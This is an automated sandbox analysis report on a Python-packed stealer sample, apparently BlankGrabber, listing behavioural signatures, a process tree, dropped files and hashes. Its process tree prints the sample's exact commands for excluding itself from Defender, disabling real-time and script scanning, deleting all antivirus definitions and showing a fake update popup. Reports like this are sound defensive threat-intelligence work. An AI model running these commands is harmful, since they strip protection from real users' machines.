Analysis

  • max time kernel
    149s
  • max time network
    121s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/07/2026, 02:02

General

  • Target
    2026-07-04_d1f5fd687d016beef6c550670b7fa9be_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
  • Size 7.4MB
  • Sample260704-cf5dqaas7w
  • SHA256 7245694cf46954a01a8850dea7292591e15d090a9b9d3c5b8850cf854a520169
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Loads dropped DLL 16 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • UPX packed file 51 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-04_d1f5fd687d016beef6c550670b7fa9be_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-04_d1f5fd687d016beef6c550670b7fa9be_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1948
    • C:\Users\Admin\AppData\Local\Temp\2026-07-04_d1f5fd687d016beef6c550670b7fa9be_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-04_d1f5fd687d016beef6c550670b7fa9be_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:3920
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-07-04_d1f5fd687d016beef6c550670b7fa9be_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5768
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-07-04_d1f5fd687d016beef6c550670b7fa9be_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5648
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1880
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2708
        • C:\Program Files\Windows Defender\MpCmdRun.exe
          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
          4⤵
          • Deletes Windows Defender Definitions
          PID:3572
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Restart', 0, 'New update available', 32+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4864
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Restart', 0, 'New update available', 32+16);close()"
          4⤵
            PID:520
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3444
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3264
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5988
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2064

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 83909fb22ae068f304aaf0d1b1570d19e8606b719d78f241fc55e1eeaff137d6
          • MD5 SHA1 SHA512 TLSH

          VCRUNTIME140.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\VCRUNTIME140.dll
          • Size 106KB
          • SHA256 69320f278d90efaaeb67e2a1b55e5b0543883125834c812c8d9c39676e0494fc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _bz2.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\_bz2.pyd
          • Size 48KB
          • SHA256 17bfa656cabf7ef75741003497a1c315b10237805ff171d44625a04c16532293
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _ctypes.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\_ctypes.pyd
          • Size 58KB
          • SHA256 9ffadcb2c40ae6b67ab611acc09e050bbe544672cf05e8402a7aa3936326de1f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _decimal.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\_decimal.pyd
          • Size 106KB
          • SHA256 7da13df1f416d3ffd32843c895948e460af4dc02cf05c521909555061ed108e3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _hashlib.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\_hashlib.pyd
          • Size 35KB
          • SHA256 d42c3550e58b9aa34d58f709dc65dc4ee6eea83b651740822e10b0aa051df1d7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _lzma.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\_lzma.pyd
          • Size 85KB
          • SHA256 d2a7111feeaacac8b3a71727482565c46141cc7a5a3d837d8349166bea5054c9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _queue.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\_queue.pyd
          • Size 25KB
          • SHA256 e71803913b57c49f4ce3416ec15dc8a9e5c14f8675209624e76cd71b0319b192
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _socket.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\_socket.pyd
          • Size 43KB
          • SHA256 dc03d32f681634e682b02e9a60fdfce420db9f26754aefb9a58654a064dc0f9f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _sqlite3.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\_sqlite3.pyd
          • Size 56KB
          • SHA256 8e4b9da9c95915e864c89856e2d7671cd888028578a623e761aeac2feca04882
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _ssl.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\_ssl.pyd
          • Size 65KB
          • SHA256 b093aa2e84a30790abeee82cf32a7c2209978d862451f1e0b0786c4d22833cb6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          base_library.zip

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\base_library.zip
          • Size 1.4MB
          • SHA256 398535c37945175126ee626926a886929712089b96c9770c37f449c431227a0a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          blank.aes

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\blank.aes
          • Size 98KB
          • SHA256 23a8cc75cf344dd2563ae7239d4a1d011fa3b365c69b3f93c380ea3e92a983d7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          blank.aes

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\blank.aes
          • Size 98KB
          • SHA256 171937bcd97020befffb89f7c85ece597e219702d1f4f57df86eeffdf4f1b4d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libcrypto-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\libcrypto-3.dll
          • Size 1.6MB
          • SHA256 6a8c458e3d96f8dd3bf6d3cacc035e38edf7f127eee5563b51f8c8790ced0b3e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libffi-8.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\libffi-8.dll
          • Size 29KB
          • SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libssl-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\libssl-3.dll
          • Size 223KB
          • SHA256 827fdb184fdcde9223d09274be780fe4fe8518c15c8fc217748ad5fd5ea0f147
          • MD5 SHA1 SHA512 SSDEEP TLSH

          python311.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\python311.dll
          • Size 1.6MB
          • SHA256 ff9f102264d1944fbfae2ba70e7a71435f51a3e8c677fd970b621c4c9ea71967
          • MD5 SHA1 SHA512 SSDEEP TLSH

          rar.exe

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\rar.exe
          • Size 615KB
          • SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
          • MD5 SHA1 SHA512 SSDEEP TLSH

          rarreg.key

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\rarreg.key
          • Size 456B
          • SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
          • MD5 SHA1 SHA512 TLSH

          select.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\select.pyd
          • Size 25KB
          • SHA256 2d15c2f311528440aa29934920fb0b015eaf8cbe3b3c9ad08a282a2d6ba68876
          • MD5 SHA1 SHA512 SSDEEP TLSH

          sqlite3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\sqlite3.dll
          • Size 622KB
          • SHA256 6e6b6f7df961c119692f6c1810fbfb7d40219ea4e5b2a98c413424cf02dce16c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          unicodedata.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI19482\unicodedata.pyd
          • Size 295KB
          • SHA256 0e00b0e896457ecdc6ef85a8989888ccfbf05ebd8d8a1c493946a2f224b880c2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_yq3wn0c0.3bd.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yq3wn0c0.3bd.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/2708-106-0x000002CE78100000-0x000002CE7810A000-memory.dmp

          memory/2708-87-0x00007FFEB6D00000-0x00007FFEB76A4000-memory.dmp

          memory/2708-124-0x000002CE786F0000-0x000002CE787E0000-memory.dmp

          memory/2708-125-0x00007FFEB6D00000-0x00007FFEB76A4000-memory.dmp

          memory/2708-98-0x00007FFEB6D00000-0x00007FFEB76A4000-memory.dmp

          memory/2708-102-0x000002CE78110000-0x000002CE7812E000-memory.dmp

          memory/2708-103-0x000002CE783E0000-0x000002CE78492000-memory.dmp

          memory/2708-97-0x00007FFEB6D00000-0x00007FFEB76A4000-memory.dmp

          memory/2708-96-0x00007FFEB6D00000-0x00007FFEB76A4000-memory.dmp

          memory/2708-95-0x00007FFEB6D00000-0x00007FFEB76A4000-memory.dmp

          memory/2708-94-0x00007FFEB6D00000-0x00007FFEB76A4000-memory.dmp

          memory/2708-93-0x00007FFEB6D00000-0x00007FFEB76A4000-memory.dmp

          memory/2708-92-0x00007FFEB6D00000-0x00007FFEB76A4000-memory.dmp

          memory/2708-91-0x00007FFEB6D00000-0x00007FFEB76A4000-memory.dmp

          memory/2708-88-0x00007FFEB6D00000-0x00007FFEB76A4000-memory.dmp

          memory/2708-80-0x00007FFEB6E8F000-0x00007FFEB6E90000-memory.dmp

          memory/2708-81-0x00007FFEB6D00000-0x00007FFEB76A4000-memory.dmp

          memory/2708-82-0x00007FFEB6D00000-0x00007FFEB76A4000-memory.dmp

          memory/2708-85-0x000002CE78080000-0x000002CE780A2000-memory.dmp

          memory/3920-78-0x00007FFEBAFE0000-0x00007FFEBB0FC000-memory.dmp

          memory/3920-119-0x00007FFEC3380000-0x00007FFEC344D000-memory.dmp

          memory/3920-52-0x00007FFECF1A0000-0x00007FFECF1CD000-memory.dmp

          memory/3920-76-0x00007FFECEFC0000-0x00007FFECEFCD000-memory.dmp

          memory/3920-74-0x00007FFECBE60000-0x00007FFECBE74000-memory.dmp

          memory/3920-70-0x00007FFEB7FB0000-0x00007FFEB84D0000-memory.dmp

          memory/3920-71-0x00007FFEC3380000-0x00007FFEC344D000-memory.dmp

          memory/3920-72-0x00007FFECF240000-0x00007FFECF263000-memory.dmp

          memory/3920-69-0x00007FFEB84D0000-0x00007FFEB8AB9000-memory.dmp

          memory/3920-99-0x00007FFECA400000-0x00007FFECA577000-memory.dmp

          memory/3920-50-0x00007FFECF220000-0x00007FFECF239000-memory.dmp

          memory/3920-64-0x00007FFED0740000-0x00007FFED074D000-memory.dmp

          memory/3920-66-0x00007FFECEFD0000-0x00007FFECF003000-memory.dmp

          memory/3920-62-0x00007FFECF200000-0x00007FFECF219000-memory.dmp

          memory/3920-32-0x00007FFED2ED0000-0x00007FFED2EDF000-memory.dmp

          memory/3920-109-0x00007FFECF240000-0x00007FFECF263000-memory.dmp

          memory/3920-122-0x00007FFEBAFE0000-0x00007FFEBB0FC000-memory.dmp

          memory/3920-79-0x00007FFECF010000-0x00007FFECF033000-memory.dmp

          memory/3920-118-0x00007FFEB7FB0000-0x00007FFEB84D0000-memory.dmp

          memory/3920-121-0x00007FFECEFC0000-0x00007FFECEFCD000-memory.dmp

          memory/3920-120-0x00007FFECBE60000-0x00007FFECBE74000-memory.dmp

          memory/3920-114-0x00007FFECA400000-0x00007FFECA577000-memory.dmp

          memory/3920-108-0x00007FFEB84D0000-0x00007FFEB8AB9000-memory.dmp

          memory/3920-117-0x00007FFECEFD0000-0x00007FFECF003000-memory.dmp

          memory/3920-116-0x00007FFED0740000-0x00007FFED074D000-memory.dmp

          memory/3920-60-0x00007FFECA400000-0x00007FFECA577000-memory.dmp

          memory/3920-58-0x00007FFECF010000-0x00007FFECF033000-memory.dmp

          memory/3920-115-0x00007FFECF200000-0x00007FFECF219000-memory.dmp

          memory/3920-113-0x00007FFECF010000-0x00007FFECF033000-memory.dmp

          memory/3920-112-0x00007FFECF1A0000-0x00007FFECF1CD000-memory.dmp

          memory/3920-111-0x00007FFECF220000-0x00007FFECF239000-memory.dmp

          memory/3920-110-0x00007FFED2ED0000-0x00007FFED2EDF000-memory.dmp

          memory/3920-107-0x00007FFECF200000-0x00007FFECF219000-memory.dmp

          memory/3920-30-0x00007FFECF240000-0x00007FFECF263000-memory.dmp

          memory/3920-24-0x00007FFEB84D0000-0x00007FFEB8AB9000-memory.dmp

          memory/5648-130-0x0000018E5B8A0000-0x0000018E5B990000-memory.dmp